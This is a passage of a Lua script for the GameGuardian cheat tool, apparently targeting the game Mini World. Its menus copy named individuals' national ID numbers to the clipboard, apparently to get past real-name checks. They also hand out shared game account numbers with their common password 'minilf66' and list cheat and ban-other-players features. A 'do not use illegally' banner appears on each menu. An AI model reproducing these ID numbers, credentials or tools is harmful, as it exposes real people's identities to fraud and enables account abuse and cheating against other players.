  }, nil, "️⚠️请勿用于非法用途⚠️️️")
  if SN==2 then
    GSM6()
  end
  if SN==3 then
    Main1106()
  end
  FX1=0
end

function GSM6()
  gg.copyText("陈华农:320219197804212779")
end


function Main1106()
  SN = gg.choice({
    "⚡️赵良松:120110197705191511⚡️",
    "🔮一键复制🔮",
    "♦️下一层♦",
  }, nil, "️⚠️请勿用于非法用途⚠️️")
  if SN==2 then
    GSM7()
  end
  if SN==3 then
    Main1107()
  end
  FX1=0
end

function GSM7()
  gg.copyText("赵良松:120110197705191511")
end


function Main1107()
  SN = gg.choice({
    "⚡️徐静佳:310229198302260020⚡️",
    "🔮一键复制🔮",
    "♦️下一层♦️️",
  }, nil, "️⚠️请勿用于非法用途️⚠️️")
  if SN==2 then
    GSM8()
  end
  if SN==3 then
    Main1108()
  end
  FX1=0
end

function GSM8()
  gg.copyText("徐静佳:310229198302260020")
end

function Main1108()
  SN = gg.choice({
    "⚡️迟彭柳:210105194606074616⚡️",
    "🔮一键复制🔮",
    "♦️下一层♦️️️",
  }, nil, "️⚠️请勿用于非法用途⚠️️")
  if SN==2 then
    GSM9()
  end
  if SN==3 then
    Main1109()
  end
  FX1=0
end

function GSM9()
  gg.copyText("迟彭柳----210105194606074616")
end



function Main1109()
  SN = gg.choice({
    "⚡️刘萌萌:210212198506035924⚡️",
    "🔮一键复制🔮",
    "♦️下一层♦",
  }, nil, "️⚠️请勿用于非法用途⚠️️")
  if SN==2 then
    GSM10()
  end
  if SN==3 then
    Main11010()
  end
  FX1=0
end

function GSM10()
  gg.copyText("刘萌萌----210212198506035924")
end



function Main11010()
  SN = gg.choice({
    "⚡️孟民社:610424196903160835⚡️",
    "🔮一键复制🔮",
    "♦️下一层♦",
  }, nil, "️⚠️请勿用于非法用途⚠️️")
  if SN==2 then
    GSM11()
  end
  if SN==3 then
    Main11011()
  end
  FX1=0
end

function GSM11()
  gg.copyText("孟民社----610424196903160835")
end



function Main11011()
  SN = gg.choice({
    "⚡莫雨俏:460022199203270022⚡️",
    "🔮一键复制🔮",
    "🎡返 回 首 页🎡",
  }, nil, "️⚠️请勿用于非法用途⚠️")
  if SN==2 then
    GSM12()
  end
  if SN==3 then
    Main()
  end
  FX1=0
end

function GSM12()
  gg.copyText("莫雨俏----460022199203270022")
end



function Main13()
  SJ = os.date("🍼共享账号合集🍼️")
  SN = gg.choice({
    "🍧点击此处开启复制迷你号🍧",
      }, nil, "️🍭请勿注销账号🍭")
  if SN==1 then
    Main11012()
  end
  FX1=0
end

function Main11012()
  SN = gg.choice({
    "🍊️1779408985🍊️️",
    "🥐一键复制🥐",
    "Ⓜ️️下一层Ⓜ️️️",
  }, nil, "🍬共享账号密码都是minilf66🍬")
  if SN==2 then
    GSM13()
  end
  if SN==3 then
    Main11013()
  end
  FX1=0
end

function GSM13()
  gg.copyText("1779408985")
end

function Main11013()
  SN = gg.choice({
    "️🍊1779411250🍊️",
    "🥐一键复制🥐",
    "Ⓜ️️下一层Ⓜ️️️️",
  }, nil, "️🍬共享账号密码都是minilf66🍬")
  if SN==2 then
    GSM14()
  end
  if SN==3 then
    Main11014()
  end
  FX1=0
end

function GSM14()
  gg.copyText("1779411250")
end

function Main11014()
  SN = gg.choice({
    "️🍊1779412307🍊️",
    "🥐一键复制🥐",
    "Ⓜ️️下一层Ⓜ️️️",
  }, nil, "️🍬共享账号密码都是minilf66🍬")
  if SN==2 then
    GSM15()
  end
  if SN==3 then
    Main11015()
  end
  FX1=0
end


function GSM15()
  gg.copyText("1779412307")
end

function Main11015()
  SN = gg.choice({
    "️🍊1779420276🍊",
    "🥐一键复制🥐",
    "Ⓜ️️下一层Ⓜ️️️",
  }, nil, "️🍬共享账号密码都是minilf66🍬")
  if SN==2 then
    GSM16()
  end
  if SN==3 then
    Main11016()
  end
  FX1=0
end

function GSM16()
  gg.copyText("1779420276")
end

function Main11016()
  SN = gg.choice({
    "️🍊1779423567🍊",
    "🥐一键复制🥐",
    "Ⓜ️️下一层Ⓜ️️️",
  }, nil, "️🍬共享账号密码都是minilf66🍬")
  if SN==2 then
    GSM17()
  end
  if SN==3 then
    Main11017()
  end
  FX1=0
end

function GSM17()
  gg.copyText("1779423567")
end

function Main11017()
  SN = gg.choice({
    "️🍊1611313013🍊️",
    "🥐一键复制🥐",
    "Ⓜ️️下一层Ⓜ️️️",
  }, nil, "️🍬共享账号密码都是minilf66🍬")
  if SN==2 then
    GSM18()
  end
  if SN==3 then
    Main11018()
  end
  FX1=0
end

function GSM18()
  gg.copyText("1611313013")
end

function Main11018()
  SN = gg.choice({
    "️🍊1611313023🍊️",
    "🥐一键复制🥐",
    "Ⓜ️️下一层Ⓜ️️️",
  }, nil, "️🍬共享账号密码都是minilf66🍬")
  if SN==2 then
    GSM19()
  end
  if SN==3 then
    Main11019()
  end
  FX1=0
end

function GSM19()
  gg.copyText("1611313023")
end


function Main11019()
  SN = gg.choice({
    "🍊️1611313109🍊️",
    "🥐一键复制🥐",
    "Ⓜ️️下一层Ⓜ️️️",
  }, nil, "️🍬共享账号密码都是minilf66🍬")
  if SN==2 then
    GSM20()
  end
  if SN==3 then
    Main11020()
  end
  FX1=0
end

function GSM20()
  gg.copyText("1611313109")
end


function Main11020()
  SN = gg.choice({
    "🍊1611313077🍊️",
    "🥐一键复制🥐",
    "Ⓜ️️下一层Ⓜ️️️",
  }, nil, "️🍬共享账号密码都是minilf66🍬️")
  if SN==2 then
    GSM21()
  end
  if SN==3 then
    Main11021()
  end
  FX1=0
end

function GSM21()
  gg.copyText("1611313077")
end

function Main11021()
  SN = gg.choice({
    "🍊️1611313073🍊️",
    "🥐一键复制🥐",
    "Ⓜ️️下一层Ⓜ️️️",
  }, nil, "️🍬共享账号密码都是minilf66🍬")
  if SN==2 then
    GSM22()
  end
  if SN==3 then
    Main11022()
  end
  FX1=0
end

function GSM22()
  gg.copyText("1611313073")
end



function Main11022()
  SN = gg.choice({
    "🍊1611313044🍊️️",
    "🥐一键复制🥐",
    "Ⓜ️️下一层Ⓜ️️️",
  }, nil, "️🍬共享账号密码都是minilf66🍬")
  if SN==2 then
    GSM23()
  end
  if SN==3 then
    Main11023()
  end
  FX1=0
end

function GSM23()
  gg.copyText("1611313044")
end



function Main11023()
  SN = gg.choice({
    "️🍊1611313056🍊️️",
    "🥐一键复制🥐",
    "Ⓜ️️下一层Ⓜ️️️",
  }, nil, "️🍬共享账号密码都是minilf66🍬")
  if SN==2 then
    GSM24()
  end
  if SN==3 then
    Main11024()
  end
  FX1=0
end

function GSM24()
  gg.copyText("1611313056")
end



function Main11024()
  SN = gg.choice({
    "🍊1611313049🍊️",
    "🥐一键复制🥐",
    "🎡返 回 首 页🎡",
  }, nil, "️🍬共享账号密码都是minilf66🍬")
  if SN==2 then
    GSM25()
  end
  if SN==3 then
    Main()
  end
  FX1=0
end

function GSM12()
  gg.copyText("1611313049")
end



function Main14()  
SN = gg.multiChoice({
"✈️刷魅力值✈️",
"✈️云服黑名单✈️️️️",
"✈️官方黑名单✈️️️️",
"✈️风纪封号✈️️️️",
"✈️预更功能✈️️️️",
"✈️预更功能✈️️️️",
"🎡返回主页🎡",
 }, nil, "✈️预更功能10.0会更新出来✈️")

if SN == nil then else
if SN[1]==true then     BT1() end
if SN[2]==true then     BT2() end
if SN[3]==true then     BT3() end
if SN[4]==true then     BT4() end
if SN[5]==true then     BT5() end
if SN[6]==true then     BT6() end
if SN[7]==true then     Main() end
end
FX=0 end

function Exit()
print("官方群759380805")
os.exit() end 
while true do if gg.isVisible(true) then   FX1 = nil  gg.setVisible(false) end  if FX1 == nil then  Main()  end  end